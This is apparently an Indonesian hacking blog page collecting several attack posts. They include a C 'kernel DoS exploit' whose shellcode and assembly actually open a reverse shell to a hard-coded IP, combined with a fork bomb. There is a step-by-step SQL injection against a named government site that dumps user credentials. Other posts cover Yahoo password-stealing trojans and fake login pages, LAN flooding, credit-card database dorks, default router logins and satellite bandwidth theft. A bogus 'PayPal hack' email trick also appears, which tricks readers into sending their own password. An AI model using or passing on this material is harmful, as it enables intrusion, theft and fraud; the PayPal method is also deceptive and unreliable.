Your Ad Here
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Kamis, 29 April 2010

Kill 1 Server Dengan Exploit

Bagi yg mau kill web 1 server bisa pakai exploit ini buat dos bikinan mywisdom , syarat: server web kudu socket enabled (ga perlu bisa raw gapapa), kudu musti boleh ngefork

Local Kernel 2.6.x Denial Of Service Exploit with socket function and fork enabled
programmer : mywisdom (murder of odybx and cyber tank)
Download url: http://yoyoparty.com/upload/angela.tgz
Tested on:
- kernel 2.6.28
- kernel 2.6.21
- kernel 2.6.24
greetz:all jasakom crew, all devilzc0de crew, all ycl crew
special thanks:special thanks: gunslinger,peneter, peti mati,wendy182, v3n0m,flyv666,7460,cyber mutaqqin,comrade, and so on.
Cara pakai:
Code:

gcc -o angela angela.c
./angela &

(jika ingin dilakukan berulang ulang)
atau bisa juga begini:
Code:

gcc -o angela angela.c
./angela

source filenamedybxkill.c
Code:

//Local Kernel 2.6.x Denial of Service Exploit with socket enabled
//C0d3r: mywisdom ( murder of odybx and cyber tank )
//thanks: all jasakom crew, all devilzc0de crew, all ycl crew
//special thanks: gunslinger,peneter, peti mati, v3n0m,flyv666,7460,cyber mutaqqin and so on.
#include
#include
void peneter()
{
printf("\nOdybx Was Killed version 1.0 local kernel 2.6 dos sploit");
printf("\nFree provided by mywisdom creator of kiss of death technic\n");
printf("\nTrying to kill this server in minutes..please wait \n");
}
void xxx()
{
char esc = 27;
printf("%c%s",esc,"[2J");
printf("%c%s",esc,"[1;1H");

}

void v3n0m()
{
char socketz[] ="\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\"
"\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68\"
"\x7c\x52\x9a\x79\x66\x68\x1a\x0b\"
"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\"
"\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58"
"\xcd\x80\"
"\xbb\xb8\x01\xcd\x80";
(*(void (*)()) socketz)();

}

void gunslinger()
{
__asm__ ("push $0x66 \n\t"
"pop %eax\n\t"
"push $0x1\n\t"
"pop %ebx\n\t"
"xor %ecx,%ecx\n\t"
"push %ecx\n\t"
"push $0x1\n\t"
"push $0x2\n\t"
"mov %esp,%ecx\n\t"
"int $0x80\n\t"
"push $0x799a527c\n\t"
"pushw $0x0b1a\n\t"
"pushw $0x2\n\t"
"mov %esp,%ecx\n\t"
"push $0x10\n\t"
"push %ecx\n\t"
"push %eax\n\t"
"mov %esp,%ecx\n\t"
"mov %eax,%esi\n\t"
"push $0x3\n\t"
"pop %ebx\n\t"
"push $0x66\n\t"
"pop %eax\n\t"
"int $0x80 \n\t"
"xchg %esi,%ebx\n\t"
"push $0x2\n\t"
"pop %ecx\n\t"
"dup_loop:\n\t"
"mov $0x3f,%al\n\t"
"int $0x80\n\t"
"dec %ecx\n\t"
"jns dup_loop\n\t"
"mov $0xb,%al\n\t"
"xor %edx,%edx\n\t"
"push %edx\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"mov %esp,%ebx\n\t"
"push %edx\n\t"
"push %ebx\n\t"
"mov %esp, %ecx\n\t"
"int $0x80\n\t"
);

}

int main()
{
xxx();
int hack;
int iseng;
for (hack=1;;)
{
while (iseng<2)
{
peneter();
v3n0m();
gunslinger();
}
}

return 0;

}

filename: angela.c
Code:

//Local Kernel 2.6.x with socket enabled Denial of Service Exploit
//C0d3r: mywisdom ( murder of odybx and cyber tank)
//testing main loop
// what the #### of race condition
#include
int main()
{
int hack;
system("gcc -o odybxkill odybxkill.c");
for(hack=1;;)
{
system("./odybxkill &");
fork();
}

}

Read More..

Belajar Hack

Menjadi hacker, harus banyak membaca dan latihan mencari cela suatu keamanan di suatu sistem. Internet adalah jawaban semua itu, di internet kita dapat menemukan berbagai sistem yang dapat kita gunakan untuk pentes. Di internet juga kita dapat berlatih untuk melakukan hacking/security test, dan mendapatkan e-book secara gratis.

Namun sayangnya di negri kita tercinta ini, internet terbilang mahal (kecuali bagi sebagian kalangan). Dengan demikian rasanya sulit untuk berkembang. Namun dengan keterbatasan kita harus tetap maju, begitulah seharusnya yang dilakukan oleh seorang hacker.

Ada alternatif yang murah dan menyenangkan. Yaitu kita menggunakan mesin virtual seperti VMWare, Virtualbox, Qemu, dll. Dengan mesin virtual ini kita bisa memvirtualisasikan sistem di dalam komputer kita. Hal ini adalah suatu keharusan bila Anda ingin mendapatkan predikat 31137.

Misalnya kita ingin menghack server freebsd, maka kita sebenarnya tidak perlu terhubung ke internet, install saja freebsd di dalam mesin virual. Lalu setelah itu baru kita berkesperimen. Keuntungannya ada 2, selain kita bisa menyerang target dengan murah (tanpa terhubung saluran internet), kita juga dapat mengetahui bagaimana membuat (menginstall) sistem freebsd itu.

Begitu juga bila ingin menghack website target kita, coba lihat CMS apa yang digunakan target misal joomla v.1.5 dan freebsd OS, maka installasi joomla v.1.5 pada mesin virtual freebsd. Setelah itu Anda dengan bebas dapat melakukan pentes tanpa takut dipenjara karena tindakan ilegal Anda.

Bila kita melakukan hal tsb dan berhasil, Anda langsung dapat menghajar target sewaktu terhubung ke inet. Selain itu, Anda juga dapat merasakan bagaimana susahnya melakukan attacking, dan lebih susah lagi membuat sistem dan mem-patch-nya. Dengan demikian etika Anda akan terbentuk, karena jiwa kemanusiaan Anda tumbuh, karena selain Anda menyerang target, Anda juga telah berproses (merasakan susahnya) membuat suatu sistem komputer.

Semua itu dimulai dari mesin virtual, untuk itu, install mesin virtual di komputer Anda sekarang juga (Virtualbox atau VMWare). Buat sistem Anda dan serang sistem Anda sendiri. Langkah selanjutnya adalah patching sistem Anda sendiri. Anda bisa merasakan indahnya hidup ini.
Read More..

PoC SQL Injection

Berikut ini akan disajikan langkah demi langkah SQL Injection yang diimplementasikan pada web http://www.gunungkidulkab.go.id. Tutorial ini hanya untuk pemula (just to share) dan untuk para master yang telah berpengalaman dianjurkan memberikan masukan agar tekniknya menjadi lebih menarik.

Langkah-langkahnya sebagai berikut :
1. Lakukan pengecekan dengan memasukkan karakter tanda petik satu single_quote ( ' ) dan mengujinya dengan operator logika ( AND ).
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=870'

Hasil Uji :
-Halaman akan menampilkan pesan error
Code:

Fatal error: Call to a member function MoveNext() on a non-object in /var/www/sites/gunungkidulkab.go.id/gunungkidulkab.go.id/subdomains/www/html/program/publish_content.php on line 225

Code:

http://www.gunungkidulkab.go.id/home...id=870+and+1=1
http://www.gunungkidulkab.go.id/home...id=870+and+1=6

Hasil Uji :
-Pada pengecekan AND+1=1 yang dihasilkan adalah TRUE, maka halaman akan tampil secara normal.
-Pada pengecekan AND+1=6 hasilnya adalah FALSE, halaman akan menampilkan pesan kesalahan (tidak berjalan normal).

2. Memeriksa jumlah field dari suatu tabel. Perintah yang digunakan adalah ORDER+BY+num, lakukan penambahan/increment pada variabel num. Parameternya adalah jika field masih tersedia maka halaman akan berjalan normal, namun sebaliknya jika field tidak tersedia maka halaman akan menampilkan pesan error. Pada contoh kali ini ditemukan batas akhir field sampai pada angka 14.
Code:

http://www.gunungkidulkab.go.id/home...+order+by+14--

Mengapa ada tanda -- diakhir perintah? Tanda -- adalah parameter komentar pada sintaks sql, bisa juga menggunakan /*. Sesuai dengan fungsinya kita akan men-set komentar terhadap sintaks setelah klausa WHERE. Kebetulan pada contoh kasus kali ini, setelah klausa WHERE terdapat perintah sql yg lain entah itu ORDER atau LIMIT. Untuk itu digunakan parameter komentar agar perintah sql tersebut tidak dijalankan sehingga kita mendapatkan pesan error jika field yang di ORDER tidak tersedia.

Coba bandingkan jika parameter komentar tidak digunakan, meskipun kita melakukan ORDER BY 1 dan ORDER BY 100 halaman akan tetap menampilkan pesan error. Kalau kejadiannya seperti ini dari mana kita bisa mengetahui jumlah field yang di-select??

3. Mengeluarkan nomor field untuk menampilkan informasi yang diinginkan. Perintah yang digunakan adalah UNION+ALL+SELECT+no_field+no_field+....
Code:

http://www.gunungkidulkab.go.id/home...,11,12,13,14--

Pada contoh kali ini, variabel id kita beri nilai null agar angka-angka yang kita deklarasikan keluar, atau bisa juga menggunakan tanda minus (id=-870). Dari angka-angka yang tercetak pada halaman web, kita akan mengeluarkan informasi dari versi mysql, nama database dan nama user.
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,concat_ws(0x2B,version(),database(),user()),7,8,9,10,11,12,13,14--

4. Selanjutnya kita akan mengeluarkan nama-nama tabel dengan perintah UNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(TA BLE_NAME)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TAB LE_SCHEMA=DATABASE(). Gunakan klausa WHERE TABLE_SCHEMA=DATABASE(), agar tabel yang keluar adalah tabel dari database yang digunakan. Kalau Anda ingin melihat seluruh tabel dari seluruh database klausa WHERE tidak perlu Anda gunakan.
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,concat_ws(0x2B,version(),database(),user()),7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()--

Pada perintah diatas, Anda dapat mengganti concat_ws(0x2B,version(),database(),user()) dengan angka 6, jika Anda tidak ingin menampilkan informasi tentang versi mysql, nama database, dan nama user.

5. Nama tabel telah kita ketahui, selanjutnya kita akan mengeluarkan nama field dari tabel yang menyimpan UserID dan Password pengguna. Pada website ini nama tabel yang dimaksud adalah tblpengguna. Sintaks dasarnya adalah UNION+ALL+SELECT+no_field+no_field+GROUP_CONCAT(CO LUMN_NAME)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+T ABLE_NAME='NAMA_TABLE'. Jika terjadi error maka kita harus meng-konversi nama tabel ke bentuk hexadecimal_sql sehingga menjadi 0x74626C70656E6767756E61
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,6,7,group_concat(column_name),9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x74626C70656E6767756E61--

6. Langkah terakhir kita akan mengeluarkan record-record dari tabel tblpengguna. Sintaks dasarnya UNION+ALL+SELECT+no_field+no_field+CONCAT_WS(PEMIS AH_HEXA_SQL,NAMA_FIELD1,NAMA_FIELD2,....)+FROM+NAM A_TABLE. Kalau dijalankan pada contoh kasus kali ini menjadi :
Code:

http://www.gunungkidulkab.go.id/home.php?mode=content&submode=detail&id=-870+union+all+select+1,2,3,4,5,6,7,concat_ws(0x2B,tblpengguna_login,tblpengguna_pass),9,10,11,12,13,14+from+tblpengguna--

Sampai disini selesai sudah penyajian penulis mengenai langkah demi langkah SQL Injection pada Web Kabupaten Gunung Kidul. Penulis tidak bertanggung jawab atas segala dampak negatif akibat penyalahgunaan artikel ini. Mohon dikoreksi jika terdapat kekurangan ataupun kesalahan.
Read More..

Analysis nd identification attacks on your website

Mungkin bagi para administrator yang mempunyai web atau pun blog, jarang yg memperhatikan masalah keamanan. Dimana kebanyakan para web admin berpikir bahwa situs yang mereka kelola itu telah aman 100%, dan di rasa tidak akan ada gangguan dari orang-orang iseng. Tapi jika suatu ketika sang admin situs melihat di browsernya bahwa pada halaman depan situs yang mereka telah berubah tampilan dengan adanya salam khas dari para peretas (cracker / defacer), mereka selalu di hadapkan ke pada penyesalan, marah, dan lain2.

Memang penyesalan selalu datang di akhir brotha…..
Bagaimanakah kita mengantisipasi hal semacam itu…..?
Pada artikel kali ini saya akan coba membuat trik , bagaimana mengidentifikasi serangan sedini mungkin agar tidak terjadi hal-hal yang tidak di inginkan pada situs yang kita kelola.

Disini kita akan mencoba Applikasi Craw Track
Anda bisa mengunjungi di http://www.crawltrack.net/

Peralatan yang dibutuhkan
1. Crawl Track (http://www.crawltrack.net/download/crawltrack3-2-1.zip)
2. Hosting /Domain / Sub Domain

mungkin buat yang sudah biasa berhubungan dengan aplikasi dan publishing website cara menginstal dan konfigurasi script ini adalah hal yang mudah.
Buat yang masih belajar atau mo mencoba untuk konfigurasi bisa membaca artikel saya di web pribadi saya.

Analysis and Identification of an attack on your website (Session Dummies 1)


Ok setelah selesai semua konfigurasi, kita akan mencoba membaca log dan mengindentifikasi jika terdapat serangan ke website kita.

1. Masuk ke Crawl Track dan login .
2. pada halaman utama , silahkan mencari Hacking attempts dan Klik untuk melihat History nya

Selamat mencoba
Read More..

Sabtu, 13 Februari 2010

Download Rapidshare Sebagai Premium User

2 Technique Download sebagai user premium dari macam2

situs file hosting seperti rapid*share, Hotfile,

Megaupload, Uploading.

Gw udah test dan 99% fully working!



Technique 1
Cukup buka website di bawah ini dan masukan link file
yang ingin di download:

http://www.megaleech.eu/index.php



Technique 2
Masuklah ke situs di bawah ini:

http://public.rapidpremium.net/
Username: public (harus isi sprt ini)
Password: public (harus isi sprt ini)

-Klik Login
-Setelah login, klik Download yg terletak di pojok kiri bawah
-Masukin link yg kalian inginkan di kotak yg besar di tengah2 layar dan klik Download
-Kalian akan mendapatkan link baru
-Copy Paste link tersebut di address browser
-Tamat



Kedua Trick ini support IDM dan memiliki fitur resume.

Dan rasakan perbedaan download speed nya!!
Read More..

GAME HACKER (Belajar jadi Hacker Lewat Game)

Hackers-The Broken Link | | 2762 KB


Working for a black agency, your mission is to steal money, files, and other valuable material from Internet servers across the world. Experience the thrill of being put into a new life; that of an experienced computer hacker. With advanced tools at your disposal, kracking into computer servers almost seems too easy. Just don't get over confident. At any moment your location may be traced, and your game... may be over.


http://rapidshare.com/files/14581031/h2005full_Retail.exe


Password: www.area51warez.info
Read More..

Selasa, 26 Januari 2010

FBI Hacking Tools

Tau FBI kan? Bukan Fans Berat Inul lho, tapi itu tuh yang agen-agen beras eh rahasia ding, mau tau kan doi pake apa aja? nih cekidot

- ADS Locator (Alternate Data Streams)
- Disc Investigator 1.4 (File-Slack-Analyze)
- Historian 1.4 (Browser Analyze)
- Live View 0.6 (System Analyze)
- MUI Cacheview 1.00 (Registry Analyze)
- Networkminer 0.85 (Network Analyze)
- Regripper 2.02 (Registry Analyze)
- Systemreport 2.54 (PC Analyze)
- USB-History R1 (USB-Stick-Analyze)
- Windows File Analyzer (File Analyze)
- Winpcap 4.02 (Network)

Source: http://www.rozy.web.id/hacking/11-tool-hacking-fbi/
Read More..

Minggu, 17 Januari 2010

aplikasi flood di jaringan (Lan/wifi)

ne adalah apliasi yang berguna untuk tembak ip di jaringan,misal di LAN network ato bisa digunakan pada jaringan wireless,dan hasilnya 100% berjalan.

cara penggunaan:

1.download file wtembak di http://www.ziddu.com/download/2653415/wTembak.rar.html
2.extrack file tsb
3.cari tau ip yg akan di jadikan target penembakan
4.masuk command prompt lalu masuk ke tempat file Wtembak.misal di C:\
5.jalankan wtembak dengan format sbb : wtembak.exe [ip target] [port]
misal : ip target : 192.168.0.100
prot yg akan di pake : 80

jadi qta harus ketik sbb : c:\wtembak.exe 192.168.0.100 80

nah untuk melihat hasilnya qta bisa ping terlebih dahulu ip target tersebut agar qta bisa membedakan hasil sebelum di tembak dah setelah di tembak.

Nb : file ne tidak terdeteksi virus dengan antivirus apapun(sangat aman)
Read More..

Cara Hack Paypal (old trick)

Seketat-ketatnya suatu sistem keamanan, tidak ada yang sempurna 100%, masih ada celah-celah yang
bisa kita masuki. seperti paypal, sistem keamanan ketatnya selalu kejar-kejaran dengan para hacker di dunia.
disaat hacker berhasil memasuki database paypal. paypal memperbaiki sistem keamanannya. setelah itu, hacker kembali mencari celah dan berhasil memasuki databasenya. dan seperti itu seterusnya. sebelum artikel ini di-update, database paypal bisa ditembus dengan string pada URL nya. tapi kini, kesalahan itu sudah diperbaiki. but, masih ada kelemahan paypal buat para hacker untuk menembus database paypal. yaitu, mailerbootnya. jadi begini, saat ini kita memang tidak bisa memasuki database paypal. tapi, kita bisa me-hack mailerboot paypal untuk meminta data-data dari mailerboot paypal. anda tidak perlu menciptakan sendiri code pengconfuse paypal ini. Karena, para hacker-elite sudah menyediakannya untuk anda. silahkan ikuti petunjuk dibawah ini.

Cara mengcrack yang akan diajarkan kepada anda adalah cara mengcrack tingkat tinggi karena disini anda akan diajarkan bahasa pemograman demi mendukung pencurian account paypal ini. tapi, sebelum anda me-hack paypal, pastikan akun paypal anda sudah verified

Metode pengcrackkan ini sangat rahasia dan tidak akan terlacak bila anda mengikuti saran-saran
dan langkah-langkah yang diajarkan dengan benar dan baik. Saya tidak menjamin metode ini berhasil karena, ada kemungkinan perusahaan paypal telah memperbaiki kelemahan sistemnya.

Baiklah, Kita mulai Saja!

setelah member mendaftar di paypal, maka paypal mengirim e-mail yang meminta membernya untuk memasukkan informasi kartu kredit. Setelah member memasukkan informasi kartu kredit, maka paypal otomatis mengirim kembali informasi-informasi itu ke dalam mailerbot. Dalam kasus ini kita memakai mailerbot berakthru. NAHH!! yang akan kita crack adalah, kita akan membuat "confused" yahoo maillerbot sehingga kita bisa mendapatkan informasi-informasi tentang username/password yang tersimpan di servernya. untuk melakukannya, silahkan ikuti intruksi dan petunjuk-petunjuk berikut:

1.masuklah(log in) ke account paypal anda
2. Klik "street address" yang terletak di bawah "account information"
3. disana anda akan melihat e-mail yang anda masukkan ketika mendaftar paypal. hafalkan alamat e-mail anda tersebut itu. lalu masuk ke e-mail anda yang lain (dalam hal ini, yahoo).
4. oke!!! paypal SAAT INI memiliki 2 mailerbot . yaitu, yahoo dan hotmail
kita mulai dengan anda yang menggunakan yahoo!. masuklah ke e-mail yahoo anda tersebut:


Subjek: indo3534paypal78verif-De24 (untuk membuat bingung yahoo mailerbot)
Kirim : indopaypal@yahoo.com (e-mail paypal Indonesia)
di bagian isi surat. tulis seperti yang dibawah ini. sama persis dan ikuti saran-sarannya.

In line 1: Content-Type: text/plain;
In line 2: charset=us-ascii (Untuk membuat balasan dari paypal bisa dibaca (tidak berbentuk bahasa pemograman))
In line 3: address000%%confirmation0e24.yaIn
In line 4: p38ylec00rm::s%%http://www.paypal.com/%% (untuk membuat mailerbot meminta kembali infomasi dari paypal)
In line 5: e-mail paypal anda(saya meminta anda untuk masuk ke email yahoo anda yang lain adalah agar anda tidak dianggap spam/hacker sehingga tidak ada tanggapan dari paypal. jadi, dengan anda memasukkan email (yang sudah terkonfirmasi ke paypal) maka, anda tidak akan dianggap spam dan hacker. karena, anda telah terdaftar sebagai member paypal. .)
In line 6: start (retrieve > 0) (untuk memfungsikan mailerbot yahoo)
In line 7: verified (*value= = float) (untuk membuat mailerbot berfungsi walau ada proteksi dari paypal)
In line 8: PayPal password anda (sekarang masukkan password paypal anda sehingga anda tidak dianggap spam/hacker, sehingga otomatis mailerbot akan mengirim informasi-informasi user lainnya ke e-mail paypal anda dengan valid..)
In line 9: #searchmsgend%EcHvld%%hr# (untuk mendapatkan informasi-informasi user Secara acak)
In line 10: send&&idR20394-tsa-0583 (membuat mailerbot mengirimkan semua informasi-informasinya ke e-mail anda)
In line 11: #endofmsg (langkah terakhir)
in line 12: #IP=#136.112.213:8080# = value(untuk mengubah IP address anda demi keamanan anda)

Nb: Jangan merubah sedikitpun scrpt diatas, atau tidak akan bekerja. dan hapuslah tulisan "line 1...12"

Setelah anda mengirim e-mail tersebut.. tunggu beberapa menit dan periksa e-mail anda.
Read More..

Hacking Warnet yang Pake Spidi

Nih sekarang saya mau kasih pengetahuan lagi, kan pengetahuan mah bebas di sebarluaskan hehe

okay langsung saja yah


1. Anda dateng pake muka yang bego (jgn tunjukin kalau anda jago)
2. setelah duduk hdupin billing
3. buka firefox/ opera / IE
4. ketikan aja di url adress bar 192.168.1.1
(kl beruntung password sm usernya ngga di ubah lo masukin)
username:admin
password:admin

Eng-ing-eng anda sudah menjadi admin di spidi-nya
Ini untuk pembelajaran semata, semoga beruntung yah dan selalu berdoa juga
Read More..

Cara Mendapatkan CC Dari Comersus

Teman-teman masih inget gak teknik yg dikasih Thor buat dapetin CC pake comersus...
BadKiddes ga nyangka, ternyata hari gini msh ada website yg kena "old Bug" itu... (Thor said) Badkiddes kira bug itu dah ga berfungsi lagi.. eh tapi masih ada yg pake...


Google dork : inurl:"//comersus/"
trus ganti /store/xxxx.asp dengan database/comersus.mdb

kl tmn2 beruntung, tmn2 dapet cek login adminnya
tapi kl gak tmn2 dpt no CCnya koq....

hikzz..hikzzz...
Dah segitu aja....
Mohon koreksi kl salah....
Read More..

Rahasia Hacking Facebook dengan javascript

Facebook sangat bergantung dgn javascript, disini ane mao coba berbagi code JS ke pembaca sekalian. dan facebook menggunakan kontrol code yg sama (API). langsung aja ahhh...

1. Merubah Profil Warna.
javascript:void(document.getElementById('fb_menuba r').style.background='red');
copas code itu ke browser ente.. warna bs ente rubah sesuka hati. tp perubahan ini ga terlihat ke user lain.. cuma ente sendiri yg liat hikhikhik..



2. buat liat history chat di fb.
biasanya klo tmn offline, ente ga bs lg liat history obrolan di chat.. ini ada caranya..
javascript:buddyList.itemOnClick(123132132213);
copas itu code ke browser ente, angka 123132132213 ganti dgn id yg mau ente liat history nya..

bahkan ente bs buka jendela chat ente sendiri dgn memasukan id ente sendiri.


3. Ubah Nama Sementara.
javascript:void(document.title="Facebook | Neo");
copas ke browser ente..
"Neo" bs ente ganti sesuka hati, tp ini ga bs diliat sm tmn2 ente yg lain.. cuma bwt gaya2an doang..


4. Tutup Jendela Chat.
javascript:chatDisplay.tabs[123132132213].tabXOnClick();
"123132132213" ganti sm id yg mau ente tutup..
tp ane ribet pake ini.. mendingan tinggal klik X (close). hihiihihi.. kan share javascript.. jd sekalian deh ane posting..


5. Membuka Daftar tmn yg Online.
javascript:buddyList.toggleTab();
copas ke browser ente..!!


6. Membuka Tab Aplikasi.
javascript:applicationDock.toggleTab();
biasaaaa, copas ke browserrr...

Read More..

Jumat, 15 Januari 2010

Hacking Satelit Bandwith/ Panduan Mencuri di Hilir Bandwith

ini untuk tujuan pendidikan saja looo. penggunaan tanggung pemakai.

Ini dimaksudkan untuk menunjukkan bahwa Anda bisa mendapatkan gratis internet satelit hilir dan menggunakannya sebagai anda akan menggunakan koneksi internet, yaitu: browsing, chatting, dll, bukan hanya untuk grabbing file.

Syarat yang musti dipatuhi:
- Linux dengan kartu DVB dan LinuxTV driver, jika anda tidak tahu cara menetapkan atas ini, pergi ke http://linuxtv.org/

- Linuxtv-DVB-apps-1.1.1.tar.gz (get it on http://linuxtv.org/)

- Tcpdump

- Wget

- Sebuah hulu terkait dengan anti-spoofing disabled (baca ip spoofing), jika anda tidak tahu tentang ini, Anda masih dapat mencoba dan melihat apakah ia akan bekerja jika digabungkan dengan satelit internet hilir

- Point the dish satelit ke hilir dengan koneksi internet (Saya tidak dapat berkata yang satelit sebagai tambang yang saya percaya ini sangat sensitif informasi)

Dengan penguncian Transponder
Anda perlu mengetahui frekuensi, polarisasi, dan simbol yang menilai transponder.
(Mungkin oleh seorang teman bertanya dengan berlangganan ke hilir selular untuk informasi ini ……)

Pertama, menyimpan informasi ke file:

# Echo inet: [frekuensi]: [polarisasi - 'v' atau 'h']: 0: [symbol_rate]: 0:0:0:0> chan

Mengunci DVB dengan ’szap’ dari linuxtv-DVB-paket aplikasi:

# Szap-c-chan n 1-l 5150

5150 adalah untuk C-Band, mengubahnya jika Anda menggunakan Band lainnya, baca szap digunakan.

Memilih Internet PID
Saat ini saya menganggap anda telah menetapkan persyaratan yang diperlukan dan dapat menjalankan perintah ‘dvbtraffic’ berhasil di kotak.

# Dvbtraffic

Ini akan menampilkan daftar PIDs dan bandwidth mereka saat ini.

PID memilih dari daftar, Anda ingin memilih salah satu dengan bandwidth yang sangat berfluktuasi, karena itu lebih seperti satelit internet PID hilir, bukan audio / video PID.

Konfigurasi Interface
Menjalankan perintah ini, masukkan PID sebagai hex (tambahkan’0 x ‘di depan PID)

# Dvbnet-p [PID]

Anda harus berhasil mendapatkan status laporan.
Catatan yang baru dibuat antarmuka nama, it would say something like ‘dvb0_1′.

Dan masukkan perintah berikut dalam satu baris karena Anda harus menghapus routing untuk antarmuka secepat Anda bisa, karena saya percaya sesuatu yang buruk akan terjadi jika Anda tidak

# Ifconfig [interface_name] 64.0.0.0 / 2 promisc; ip route del 64.0.0.0 / 2 dev [interface name]

Kami telah mengatur hanya menerima ke setiap IP di dunia ini.

Mendapatkan IP Address
Ada waktu untuk melihat apakah data yang mengalir ke antarmuka yang memang satelit internet hilir, jika demikian maka anda akan melihat alamat IP bergulir di layar saat Anda masukkan perintah ini:

# Tcpdump-q-n-i [interface_name]

Jangan melihat alamat IP? Try another PID. Sebelum Anda membuat antarmuka lain, hapus saat ini:

# Dvbnet-d [interface_number]

Mendapatkan nomor antarmuka dari bagian nama (mis. untuk dvb0_21, adalah nomor 21)

Sehingga Anda melihat alamat IP yang Anda mengalir tcpdump antarmuka, besar.

Pilih IP dari sisi kanan baris. Anda tidak ingin menggunakan jaringan dan broadcast adresses. Satelit yang hilir internet selular yang diuji pada digunakan / 29 jaringan (255.255.255.248), sehingga dalam kasus saya untuk menghitung jaringan dan alamat broadcast:

Menganggap saya alamat IP 123.4.5.67 dari sisi kanan baris.

/ 29 jaringan memiliki 8 alamat, tanggal 1 untuk satu jaringan, maka untuk selanjutnya 6 host, dan terakhir 1 siaran.

Jadi saya membagi 67 dengan 8.

67 / 8 = 8,375

Saya mengambil bagian ,375 dan kalikan dengan 8

0,375 x 8 = 3

Itu berarti ,67 adalah 4. Alamat dari 8 mungkin alamat, yang berarti 3. Host, itu aman untuk digunakan. Anda tidak ingin menggunakan tanggal 1 dan 8. Karena alamat jaringan dan alamat broadcast.

Yang dihitung mulai dari nol, maka 0 adalah pertama alamat (alamat jaringan), dan 7 adalah delapan alamat (alamat yang menyiarkan).

subnet mask = 255.255.255.248 atau / 29

123.4.5.64 = jaringan
123.4.5.65 host = 1.
123.4.5.66 host = 2.
123.4.5.67 host = 3.
123.4.5.68 host = 4.
123.4.5.69 host = 5.
123.4.5.70 host = 6.
123.4.5.71 = broadcast

SNAT
Untuk menggunakan satelit internet hilir, kita harus menggunakan IP kami sebelum kami sebagai sumber alamat.

Anda menganggap hulu selular terhubung ke antarmuka eth1.

Masukkan perintah di bawah ini untuk menggunakan satelit internet IP hilir.

# Iptables-t nat-I POSTROUTING 1-o eth1-j SNAT – untuk 123.4.5.67

Ini adalah bagian di mana anda harus selular hulu tidak diaktifkan anti-spoofing, jika demikian maka anda tidak dapat menggunakan alamat IP sumber selain mereka yang memberi Anda.

Ujian yang Sambungan
Hanya menjalankan perintah berikut dan lihat apakah ia bekerja:

# Wget http://www.yahoo.com

Tidak berhasil men-download dokumen dari situs web di atas? Jika demikian terus menguji grafis pada browser dan melihat jika berhasil men-download dokumen. Jika tidak maka hanya menggunakan IP yang lain, atau PID.

Ingat, ini hanya untuk tujuan pendidikan, untuk membuka yang cacat sehingga akan netadmin melakukan sesuatu tentang hal ini.

Jangan gunakan hilir dan IP, seseorang yang membayar untuk itu


sumber:http://www.kaskus.us/showthread.php?t=2441808
Read More..

Hacking Timer Pada File Hosting

Berikut adalah tehnik hacking timer pada file hosting ketika download


Trik #1 : rapid*share waiting time
Download di rapid*share emang nyebelin ! harus nunggu segala, nah sebagai solusinya, ini ada sebuah trik, trik ini hanya bisa dilakukan di firefox , caranya, download ekstensi tix now! DISINI setelah itu tinggal di-install
Setelah itu, ketika kamu mau download dari rapid*share, kan tetep ada tuh, waiting time-nya (biasanya 0.7 menit), sekarang liat di pojok kanan browser firefox kamu, disitu ada ikon berhuruf T berwarna oranye, nah klik ikon itu, waiting time ilang !


Trik #2 : MEGAUPLOAD
Waduh, mendengar megaupload, saya jadi ngak enak nih , di situs ini kamu harus download toolbar segala, padahal, kadang-kadang file yang di-download udah mendesak, hehehe....
nah, kok becanda terus sih, kapan kita mulai ? iya-iya

Pertama-tama, kita butuh ekstensi, wah firefox lagi...
kita butuh ekstensi yang namanya MEGAUPLOAD SX 3, ini dah yang terbaru, bisa di download DISINI

Sama ekstensin User Agent Switcher yang bisa di-download DISINI
Nah, kalo udah download dan di install, klik menu Tools => Add-ons, nah di situ nanti ada User Agent Swicther, nah kamu klik dah tombol Options, trus klik User Agents => Add, nah konfigurasi lengkapnya :

Desciption : MEGAUPLOAD
User Agent : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar)
Read More..

Sabtu, 09 Januari 2010

Yahoo Hacking Tools Portable




========================== Yahoo Hacking Tools ===========================

Yahoo Hacking Tools adalah Tools Portable dalam Kegiatan Hacking Yahoo messenger.
dalam Yahoo Hacking Tools ini terdapat Software :

1. Emo Creator
Tools untuk membuat Icon2

2. Fake Pager
Adalah aplikasi Yahoo Messenger Palsu, yang berguna untuk mencuri user name
dan password.

3. Magic Password
Trojan yang digunakan untuk mencuri password

4. Yahoo Booter.
Aplikasi untuk memboot lawan chating

5. Yahoo Fake Cam
Tools untuk mengecoh lawan chating dengan Cam Palsu :twisted:

6. Yahoo Fake Login
Halaman Login Palsu Yahoo (2008), yah buat nyuri password orang yang akan dikirim ke email

7. Yahoo PAss Stealler
Trojan Builder untuk nyulik password

8. Yahoo Hack
Yahoo messengger Palsu

9. Yahoo Pass Crack
Crack Password Yahoo seseorang

10. Yahoo Password Recovery
Untuk mengetahui Password dan user name ym seseorang

Download : http://www.ziddu.com/download/2832248/Yahoo_hacking___pass_h4ck3v1l__.rar.html
Password : h4ck3v1l
Read More..

PasswordPro For Cracking HASH




Hash yang disupport :

– MySQL
– MySQL5
– DES(Unix)
– MD4
– MD4(HMAC)
– MD4(Base64)
– MD5
– MD5(APR)
– MD5(Unix)
– MD5(HMAC)
– MD5(Base64)
– MD5(phpBB3)
– MD5(Wordpress)
– MD5_HMAC($salt,MD5_HMAC($salt,$pass))
– SHA-1
– SHA-1(HMAC)
– SHA-1(Base64)
